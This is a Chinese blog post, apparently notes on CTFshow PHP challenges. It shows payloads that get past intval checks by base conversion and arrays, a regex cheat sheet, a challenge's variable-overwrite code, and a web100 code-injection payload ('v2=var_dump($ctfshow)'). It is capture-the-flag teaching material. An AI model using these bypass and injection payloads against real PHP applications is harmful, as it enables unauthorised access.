php的特点是,php特性

01

intval函数

通过数组绕过

00083ae8efad300a989bf468c3c7d7c0.png

e84530841c26913ce0f4c15d218a428b.png

02

60aafbce5987b348de8e606f369c530a.png

进制转换or加个空格在前面。

payload

?num= 4476

?num=0x117c

?num=010574

03

符号含义[abc]A single character: a, b or c

[^abc]Any single character but a, b, or c

[a-z]Any single character in the range a-z

[a-zA-Z]Any single character in the range a-z or A-Z

^Start of line

$End of line

\AStart of string

\zEnd of string

\sAny whitespace character

\SAny non-whitespace character

\dAny digit

\DAny non-digit

\wAny word character (letter, number, underscore)

\WAny non-word character

\bAny word boundary character

(a|b)a or b

a?Zero or one of a

a*Zero or more of a

a+One or more of a

a{3}Exactly 3 of a

a{3,}3 or more of a

a{3,6}Between 3 and 6 of a

.Any single character

(…)Capture everything enclosed

04

在linux下面表示当前目录是 ./

05

include("flag.php");

#若存在GET传值,用POST的值覆盖

$_GET?$_GET=&$_POST:'flag';

#flag参数等于flag,就用$_COOKIE进行覆盖。这里让flag参数不等于flag值就好了

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';

$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

#存在HTTP_FLAG参数等于flag,就出最终的flag答案

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

06

web100

88e4d08ca34164bf613d6093344a5275.png

v

2

(

c

t

f

s

h

o

w

)

v2('ctfshow')

v2(′ctfshow′)v3,其中v2肯定是命令,v3传分号

v0是三个值相与,v2和v3不传数字和v1数字相与就为1

payload:

?v1=1&v2=var_dump($ctfshow)&v3=;

或者v3直接用内联注释注释掉

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

07

标签:aa,character,single,特性,v2,v3,php,Any

来源: https://blog.csdn.net/weixin_46409891/article/details/113640257

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值